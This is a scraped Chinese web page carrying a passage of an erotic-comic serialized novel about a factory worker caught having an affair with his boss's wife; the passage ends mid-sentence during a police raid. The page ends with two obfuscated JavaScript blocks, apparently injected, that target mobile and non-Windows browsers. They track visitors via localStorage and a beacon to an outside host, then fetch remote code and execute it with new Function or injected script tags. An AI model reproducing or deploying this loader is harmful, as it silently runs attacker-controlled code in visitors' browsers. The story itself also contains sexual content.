张老板老婆说,谁跑了?起风了,窗砰砰响。张老板说,那我怎么听到房间里脚步咚咚响的?张老板老婆说,我看你是老了,连电视里的声音都听不出来了。张老板老婆这样说着不再关窗而靠上去和张老板亲热。她白了一眼阿张说,这么晚,我以为你不来了呢。她这样光着屁股撒娇的样子十分可爱,通过窗帘的缝,我看到张老板心血来潮了,他跪下来在他老婆雪白的屁股上鸡啄米一样啄个不停。张老板老婆就对着窗帘做了一个鬼脸。

张老板啄了一会米就来精神,开始脱自己的衣服。他把脱下来的衣服放在他老婆的衣服上。当他脱了衬衣准备脱三角裤的时候发现那堆衣服中有一截垂着的皮带,那是我逃得太快而忘了藏的。张老板做梦也没想到在他上这个床之前早已有人在床上躺了多时,所以当他看到那根死蛇一样皮带他还没反应过来,他可能以为是他老婆的,他还自言自语感叹说,要是男人的东西也那么长就好罗。张老板老婆也看到了我那截该死的皮带,但她老练地挑逗说,阿张啊,你要有那么长,我就死定罗。她一边这样说一边靠上去,遮住我的皮带,一个险情就这样被张老板老婆机智地遮住了。

但问题还是出来了。问题出在张老板脱光衣服向张老板老婆靠,张老板老婆也向张老板靠,这种分不清到底是船靠码头,还是码头靠船的过程中,张老板一不小心踩在一只皮鞋上,差点扭了脚。张老板这才松开手朝下看去。

我是有生以来第一次,但愿也是最后一次躲在窗下看一对夫妻为偷情之事吵架。

我看到张老板拿起那只四十二码大头皮鞋看了好一会,然后坐到床边,一只手抓着我的皮鞋,另一只手托着下巴,有点象外国有名雕塑思想者那样一动不动。

张老板老婆一声不啃,她那性感的屁股对着我,正在一堆衣服中找胸罩。她一只手套进胸罩,另外一只手也想套进去,但大概是突然背痒了,就弯到背后抓了抓,秋天的皮肤发出沙沙之响。由于她刚才翻找胸罩,把衣裤翻乱了,里面我的皮带,我的袜子,我的三角裤,现在都暴露在光天化日之下,张老板一件一件拿起来又扔在地上。我看着心想,作为教训,我要在这里告诉后辈,如果要好好地偷一次情,第一重要的是要准备好一个大塑料袋,把脱下的衣服装进塑料袋,这样突变时就可以不慌不忙背起来就逃。

在张老板老婆戴好胸罩,抖出一件衬衣开始穿上时,张老板说话了。他说,喂,你说怎么办?

张老板老婆早有思想准备,一付破罐破摔的样子说,你说怎么办就怎么办。她这样一边说一边无所谓地扣衬衣钮扣。不过可以看出来她心里并不是无所谓的,因为心乱,钮扣一上一下都扣错了。

张老板说,我还能说怎么办?

张老板老婆说,你不说怎么办就不要问我怎么办。

张老板说,我是不用问你怎么办,你不是已经办了吗?

张老板老婆一时无话好说。她低头玩弄自己的手指,发现自己的钮扣扣错了,改了过来。你要有点夫妻吵架的经验,你一定明白这叫导火线已点燃,用不了多久就要爆炸了。理所当然,在这场张老板和张老板老婆的战争中,张老板老婆一开始处于被动守势。张老板看也不看改钮扣的老婆,理直气壮地说,怎么样,没话可说啦?张老板这样说完,为了加强力度,他又嘿嘿嘿干笑了三声。他见老婆不作声,他就开始以为天下无敌了。他喊叫一样说,不是我说你,你真是他妈的贱,我真的没见过你这样贱的女人!跟什么人上床不好,你找个起码象我这样的老板,我就是生气,也气得过啦。现在你你你,找的是谁?他妈的小陆子!小陆子是什么人?你连这种货你也要?!要说出去,你不要面子,我还要面子!张老板说到这里,又看了一眼我的皮鞋并恶狠狠地说,杂工你都要了,我看你接下去可以……可以找垃圾佬了!张老板可能因为李丹玲这事,很长一段时间没在老婆面前那么威风过,今晚他看到他老婆频频后退,他兴奋得大喊大叫,几乎忘了今晚吵架的内容,他一下子成了一个滔滔不绝的声音的制造者和欣赏者。张老板在叫喊到小陆子是什么人,你连这种货你也要的时候,张老板的音量放到极限,并借助手势大幅度地噼来噼去,好象指挥交响乐,有一种披荆斩棘所向无敌的效果。在叫喊到我看你接下去可以找垃圾佬了的时候,由于张老板的思想走得快,语言走得慢,从而出现上气不接下气走调现象。这有点象唱歌的人一个高音唱不上去,突然变调一样滑稽,令我差点笑起来。

那晚张老板老婆采取了乒乓球运动中横拍选手的做法。她稳稳地守住,寻找机会拉一个漂亮的弧旋球。我们将在下面看到张老板老婆那晚的方针是英明的。

我记得张老板老婆弧旋球是在一点的时候拉的。我之所以准确掌握时间,是因为张老板老婆房间里的那只价值连城的古钟响了一下。那时是张老板最兴奋最凶猛最不可一世的时候,张老板在钟响之时骂着骂着就把手里抓了很久的四十二码皮鞋一下子扔出了窗口。那只皮鞋擦着窗口也就是几乎擦着我的头皮飞了出去。咚地一声预告了张老板已走到辉煌的顶峰,再走就要掉下去了。

张老板在飞我皮鞋的同时破口大骂他老婆破鞋。破鞋一词原来是中国北方对一种见男人就心痒痒女人的代名词。我不知道张老板作为南方人怎么知道这个北方词并运用自如的。

同样是南方人的张老板老婆就没听过这个词,她也就不知这词的恶毒含义,她按字面意思回答说,鞋嘛肯定要破的呀,穿不破就怪了。

张老板老婆这种听没听懂就胡搅蛮缠的恶习令张老板一下子怒火万丈,他抓起我第二只四十二码皮鞋又猛地扔出窗口,咚地又是一响,狗叫四起。

这对于张老板老婆来说真是等待已久千载难逢的转机。张老板老婆马上不失时机地叫起来,好好,扔得好!扔,大家扔!说着张老板老婆就抓起桌子上的一只紫砂茶壶奋力扔出窗口。只听夜空中砰地一声犹如炸弹爆炸,顿时恶狗乱叫。

张老板老婆扔完茶壶余兴未尽,她的头兴奋地四下转动,嘴里叨叨有声说,扔,扔,扔,扔光算了,来扔!

张老板这时才明白自己扔第一只鞋是英明之举,而扔第二只鞋其蠢无比。他明白他老婆的头不停地转来转去的结果将是什么。于是张老板一个箭步冲上去,英勇地一手护住一块镜子,一手护住高级古钟,同时用身体挡住电视机录像机连声说,你想干什么?你想干什么?

张老板老婆理直气壮说,我想干什么?你给我走开,你干什么我就干什么!

张老板说,还讲不讲道理,你怎么可以这样你?

张老板老婆看了一眼他,不紧不慢地说,我为什么不可以这样?你可以这样我为什么不可以这样?

张老板老婆的话一听就明白,明指今晚扔东西,暗指李丹玲,这种一语双关的巧妙责问,张老板是听得懂的,他顿时哑口无言。张老板老婆从战略防守转入战略进攻的时机来到了。

来,来,来。张老板拉张老板老婆坐下,一付谈心样子,口气温和很多地说,老婆,我知道你那方面厉害,我也承认我不是你的对手,嘿嘿嘿。真的,你要偷一个,搞一个,我也开一只眼闭一只眼。问题是你现在在厂里搞,而且搞小陆子,你叫我的面子往哪里放嘛?张老板语重心长地说,老婆,你也知道我在T恤界的地位。我们这样吧,你把小陆子扔了,我帮你找一个怎么样?张老板说着嘿嘿笑起来,手在老婆的厚实的背上搓来搓去。

我紧张地看住张老板老婆,我想只要她点点头,我就完蛋了。但张老板老婆真是好样的,她根本不吃这一套。她反唇相讥说,你还知道讲面子?这三年你顾过我的面子吗,三年了呀。张老板老婆讲到三年这个词时想到心酸的岁月了,鼻子抽了抽,准备下雨。这弄得张老板有点手忙脚乱,看来他和我一样也是怕女人眼泪。他不知所措了,想伸手抱一下老婆,但想了想又把手缩了回来,严肃认真地说,哭是没用的。哭不解决问题的。他见老婆直挺挺地坐着,一只眼睛掉下一粒眼泪,另外一只眼睛也满了,也准备掉眼泪,他急了说,哭什么哭啦,今晚到底是谁错啦?说着他到处找纸巾。但一时没找到纸巾,张老板就跑进厕所拿了一卷厕纸出来,拉了一段给老婆。张老板老婆不理他,一扭头,另外一粒眼泪也掉了下来。由于这粒眼泪呆的时间比较长,所以很饱满,一旦挂下来,一直挂到下巴,张老板忙上去擦下巴。他一边擦一边分析给老婆听,他说,今天是你错。我没错对不对?你错了,你还哭什么?

张老板老婆没管老公的分析,她一挤眼睛,两只眼睛分别掉一粒眼泪出来,然后她突然叫了声,我真苦命啊,就放声大哭起来。

张老板手足无措了。他站在旁边双手搓搓,自言自语说,真见鬼了,你一哭就好象是我错了?我今天没错呀,怎么是我错呢?如果要说哭,应该哭的是我呀。张老板分析了一下,自己被自己弄煳涂了。

张老板老婆才不管张老板,她只管哭,她一把鼻涕一把眼泪,哭得昏天黑地,好象死了人一样。

张老板急了,他把手温和地搭在他老婆一起一伏的肩膀上说,算啦算啦,一把鼻涕一把眼泪,送葬啦,今晚我没错也算我错,这样行了吧?唉,你们女人哪,一把鼻涕一把眼泪烦死人了。

张老板老婆知道自己胜利了,但她并没有马上破涕为笑。作为女人,她很懂女人那一套。她明白要是她就此和解反而和解不了。她不理张老板的认错,而是用力一甩,把张老板搭在她肩膀上的手甩出九霄云外,并尖叫一声,别碰我!

面对老婆这种虚张声势的怪叫,大丈夫张老板真想抽她几个耳光。不过张老板没这样做。其原因可能是张老板在第一轮吵架时攻势太猛,他那声嘶力竭的叫喊和斩钉截铁的手势使他把丹田之气用光。再说作为生意人,张老板他可能还这样想,反正老婆已把自己的宝贝给了人家,这种东西不象其他东西,给了就给了,讨也讨不回来了,还不如省点力气算了。这种生意人的成本和利润的核算使张老板很快就想通了。他在老婆尖叫别碰我以后,他仍然笑嘻嘻汉奸一样说,秋天啦,嘿嘿嘿,感冒就不好了。说着他拿起一件外衣披上去。

大家知道男人主动帮女人穿衣服这事一般只发生在打情骂俏阶段。到了老夫老妻不要说男的主动帮女的穿,就是女的难得要求男的穿一次玩玩,男的都会说行了行了,手臂那么粗,自己穿去。所以当张老板破天荒地主动抓起老婆的粗壮的手臂塞进袖子时,张老板估计老婆会露出羞答答的动人一笑,然后甩出一句飘飘然的话,神经病!但事情并没按张老板的预想进展。张老板老婆的手臂还没碰到袖子,她又是一甩说,冻死算了!这样张老板的和解之衣被冷冰冰地甩到地上。

张老板老婆两次不识抬举的举动就是我作为旁观者也觉得太过分了。果然张老板怒火万丈了,他大叫一声,好,不要过啦,就一个箭步上去,抓起张老板老婆梳妆镜子投弹一样要扔出窗口。我心里暗叫完了。我知道镜子要是砰地一响,肯定隔壁邻居会报警。警察一来,一抬头,就看到阳台上光屁股的我了。但就在这千钧一发之时,张老板突然急刹车了。

张老板之所以在投弹的最后一刹那刹住,这在当时是一个谜,我没搞懂。后来我问了张老板老婆,她说了一句话给了我启发。她说,他又不是木头,这点还感觉不出来?说完她笑了一下。我按张老板老婆的话推理出可能她两次甩开阿张有着微妙的不同。如果说第一次张老板老婆猛地一甩很简单就是发火,那么第二次一甩就有讲究了。这里面包含了发火和和解的双层含义,而且和解的含义明显占了上风。

张老板在这一点上对老婆的感觉是到位的。他高举起镜子的一刹那一定突然感觉到老婆第二次一甩的良苦用心,所以他慢慢放下镜子,还自我解嘲说,嘿嘿嘿,我一直想这镜子换个地方比较吉利。

张老板的自圆其说显然不太合理,张老板老婆白了一眼他说,想扔你就扔,你扔呀。

张老板难为情地笑笑说,扔了过几天不是还要去买,嘿嘿嘿。

张老板老婆乘胜追击说,一块镜子算什么?你不扔,我帮你扔!张老板老婆说完就跑来抢镜子。

张老板一看不好就一把拉住老婆的双手急忙说,啊呀啊呀,我错了,我错了行了吧。你总不会要我磕头吧?

我紧张地看张老板老婆的反应,我想她要是第三次甩开张老板,那就不明智了。显然张老板老婆在对付老公的策略上还是很成熟的,这次她没一甩,也没有自动倚偎过去,而是一动不动呆站着,一言不发让泪默默地流下来。

张老板见老婆的眼泪好象断线珍珠一样一粒一粒掉下来,他感动了,他把老婆往自己身上拉了一把,也就是把老婆抱进怀里。张老板老婆就顺势把头靠在张老板的怀里,两个人又成了一对打不散的鸳鸯了。

一场风暴过去了,我紧张的身体也开始放松。没想到我的身体一放松,马上意识到不好了。我感觉一股不可抗拒的力量从肺部奔涌而上,我心里还来不及叫一声不好,眼睛一眯,鼻子一酸,只听猛地一声巨响,把三个人吓死了。

悉尼的中国男人九

我的第一个喷嚏猛地打响,张老板就猛地松开老婆的腰,大喝一声,谁!

其实张老板说谁也是废话,他一猜就应该猜到这时候还会有谁,只是他没想到我居然躲在阳台上。他松开老婆,坐到沙发里,用一种座山雕的口气不紧不慢地说,出来吧。

我的头发从窗台慢慢升进来,接着是我的额头,我眉毛,我眼睛,我鼻子,我嘴巴,我上半身……。我从窗台爬了进来,走向张老板。我当时根本没有产生奸夫应有的害怕和紧张,我记得当时我的皮肤一粒一粒都是鸡皮疙瘩,寒夜渗入我的骨髓,我只顾自己连续不断打喷嚏。我的喷嚏使我无法控制自己的头,它一下子仰起,一下子落下,一下仰起,一下落下,随着这一仰一落,喷嚏也一个一个打出来,声音之响亮不要说方圆几里的狗都叫了,而且附近有些房子的灯也亮了。

张老板坐在那里看着我,本来应该是训我一顿,骂我一顿,甚至打我一顿。但由于我的喷嚏一个连一个,张老板根本无法插进话来,甚至想骂他妈的也被我响亮的喷嚏盖住。他只能看着我,我每打一个喷嚏,他就拍一下大腿,好象听音乐打拍子一样。

在一旁的张老板老婆见我这个模样,她早忘了今晚的严肃场景,抱住自己的肚子,咯咯咯笑个不停说,啊哟啊哟,我的肚子我的肚子呀。

在张老板老婆的动人笑声感染下,张老板也开始忍不住,他的脸上肌肉一点一点放松,嘿嘿嘿笑起来。后来他看我鼻涕很长好象面条一样挂下来,他也不管那么多,开怀哈哈大笑起来。

由于他们两人都笑,我偷看了一眼镜子。镜子里我双手捂住自己下面的宝贝,脸上眼泪鼻涕一塌煳涂。我自己也情不自禁笑起来。

我们三个人好象好友一样大笑特笑了好一会,突然张老板醒悟了。他发现这种嘻嘻哈哈的快乐场面已破坏了他捉奸的严肃性。他一瞬间想这是否是我们有意布置的阴谋。于是张老板不笑了。他严肃地扔过来一条裤子说,喏。这种不说话而用喏的居高临下口气使我明白混蒙过关的可能性已没有,即将到来的是又一场大风暴。

张老板说完喏,就转过身去。张老板老婆看到她老公转身,也跟着转身。我觉得很滑稽,她转什么身呀,她应该捡起裤子递给我,我们之间还有什么不好意思?

不过我还是理解张老板老婆的尴尬和苦衷,我就知趣地抹了一把鼻涕,自己捡起地上的裤子套上了。

张老板在听到我扣皮带的金属声时转过头来,他的嘴上叼了一根香烟,我忙凑上打开打火机。

张老板眯上眼睛把烟吐出来,顺便带出一句很有分量的话,小陆子,看不出来嘛,够胆啊。

我忙看了张老板老婆一眼。想现在唯一能解救我的人就是张老板老婆了。我用眼睛暗示她站出来说几句话,最好能承认一切由她承担,就象在偷印世界名牌T恤的仓库里说的君子之言,小陆子,炒谁不炒谁,由我说了算!

然而张老板老婆一点这样的意思也没有,她看了看张老板,又看了看我说,小陆子,还不快给阿张道歉。男子汉大丈夫就是要一人做事一人当。

我真妈的气死了。女人就是这样,关键时刻就自己先逃命了。我想反正这份工也完了,我还不如求个清白,把事情全说了。于是我就强硬地说,老板娘,我看我们应该一起给张老板道歉,一起讲清楚事情的经过。

张老板老婆听了呆了一下。从我紧绷的嘴角她可能看到了一种壮士一去不复返的坚毅,这是她从来没见过的。她后来解释说,这不是怕不怕阿张的问题,而是如果我们吵起来,她怕我一急,把我们偷T恤的事说出来,那就是刑事案了。我真没想到张老板老婆在法律方面还懂一点,关键时刻以大局为重。只见她走到张老板的身旁,拍拍他的肩膀语重心长地说,阿张啊,事情一到这个地步,还不如想开点,身体要紧。

张老板老婆把用于追悼会劝人节哀的词用于捉奸场景,令张老板又好气又好笑。他摇摇头说,你怎么那么晦气,你这话什么意思你?

张老板老婆一点不明白自己说了追悼会之语,她惊讶地说,什么什么意思?我说身体要紧呀。

张老板气唿唿地要站起来说,就赔礼道歉那么简单?

张老板老婆把张老板按在沙发上,自己坐在沙发把手上,乳房贴在张老板的耳朵上,她语重心长地说,阿张啊,小陆子也是一时冲动。他毕竟是我们的好帮手,这个旺季他也很辛苦,你也清楚,男人一时冲动可以理解的嘛。

张老板转头看一眼老婆说,你这什么意思?你的意思是不是小陆子辛苦了,今晚你给他奖励奖励?

张老板老婆一听生气了,她指住张老板说,你怎么说话那么难听?我的身子是用来奖励的吗?我是说小陆子也是一时冲动,男人一时冲动你又不是不懂。

张老板没理老婆,而向我招手说,小陆子,你过来。

我心惊胆战地走近张老板,我估计他好象电影一样,突然给我一个耳光。但张老板只是眯着眼看看我说,小陆子,你真是有胆啊。

我急了,也不管张老板老婆了,我说,我哪有这个胆呀,老板啊,我是没办法呀。

张老板老婆一听吃吃笑起来说,什么叫没办法呀,你以为我老虎呀。张老板老婆又对张老板说,其实呀,阿张,凭良心说吧,我们也是一比一平手。你有你那位,我有小陆子,我又没有多出一个,我们打平啦。

张老板马上不服气说,小陆子能和玲呀比吗?

张老板老婆说,不要玲呀玲呀的,我不要听!

张老板马上改口说,我说的是小陆子和李丹玲怎么能比。我跟你说了多少次了,你在外面找一个,我开一只眼闭一只眼,你搞个小陆子,你看看他象什么样子。

张老板老婆看了我一眼一挥手说,小陆子,鼻涕擦掉。她把我领到张老板面前说,小陆子嘛,起码有两个好处,一个是自己人听话,另外一个嘛你也知道,嘻嘻,你不是也喜欢年轻的吗?

张老板知道老婆的话还是有道理的,但他还是从另外一个角度说,问题是这样叫我以后怎么做人?别人要是知道我的老婆和我的杂工乱搞,我上吊算了。

张老板老婆说,这有什么,你以前还不是做工人的?再说小陆子陪陪我,我就不要和你吵了,你可以放心去陪你那位啦。

张老板一听呆了一下,然后用一种小心翼翼并且不确定的口气试探说,你的意思是我要是以后一三五不来,你不会吵了?

张老板老婆说,是啊,我不是说打平了嘛。

张老板马上瞪大眼睛说,你说话算数?

张老板老婆白了一眼老公说,我说话有不算数的吗?

张老板听了一下子精神来了,他一转头指住我大声说,小陆子,你听清楚了吧?今晚就你在,你可是证人啊。张老板的脸很奇怪,灯光下,刚才还是阴暗的,现在突然放出光来。他说,好了好了,大家都听到了,证人也有了,说话要算话,一三五二四六作废,嘿嘿嘿,全部作废。

悉尼的中国男人十

张老板慢慢对我和他老婆的事看淡一点了。除了看多了就看惯了这一点原理以外,还可能他认为我和他老婆有了这种关系,从某种意义上说我更象自己人了。

那天他又叫我去送货。他说从今天起,凡是不能一手交钱的客户,一律不给货。他说你就说这是我们张老板说的。

张老板的工厂一片阳光普照,晴空万里。车衣之声你追我赶,直奔银子。这样的情景你根本想不到等一会就要乌云和暴雨来了,就要一蹶不振从此玩完了。做人真的今天不知道明天,上午不知道下午,五分钟前不知道五分钟后的。

第一个警察出现在工厂楼梯口时,我一点也没想到将发生张老板下台我上台的历史性转变。我当时正好下楼,看到一个警察探头探脑的样子,我还以为那个警察是尿急了。我友好地说,哈罗,厕所在楼上。我同时回头对楼上张老板喊,有个阿Sir要拉尿。

张老板一听,他的反应就不同我了,他马上以他多年做贼的机灵咚地一下跳起来向车间猛跑。张老板一边跑一边叫,警察来啦!警察来啦!

本来这次警察来和打工的工人没一点关系。但由于当年工厂许多工人身份黑的,他们长年的地下生活,使他们只要一见穿制服的人就魂也没了。所以大家一听警察来了,第一个反应就是逃。

很多年后的今天,我还是无法找到一句恰如其分的成语来形容当时的狼狈景象。我想比较接近的成语可能是热锅上的蚂蚁。

工人们就象热锅上蚂蚁在车间里到处乱跑。他们知道门已被警察堵住了,于是他们纷纷爬进布堆和T恤堆,弄得尖叫声四起,不要挤呀,我的鞋呀,乱摸什么呀(看来还有趁火打劫的)。同时张老板老婆却表现出一个资本家的本性。她站在车间中央大叫,你们不要乱踩啊!踩脏一件赔两件啊。

还有一些自以为聪明的人就想从防火道突围。他们踢开防火道的门就蜂拥而入。防火道百年尘埃顿时满天飞扬,咳嗽四起。当他们以为大功告成顺着防火道冲到楼


上一篇:欢乐奇侠之宗阳嫦阴完

下一篇:我喜欢的女孩被别人搞


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};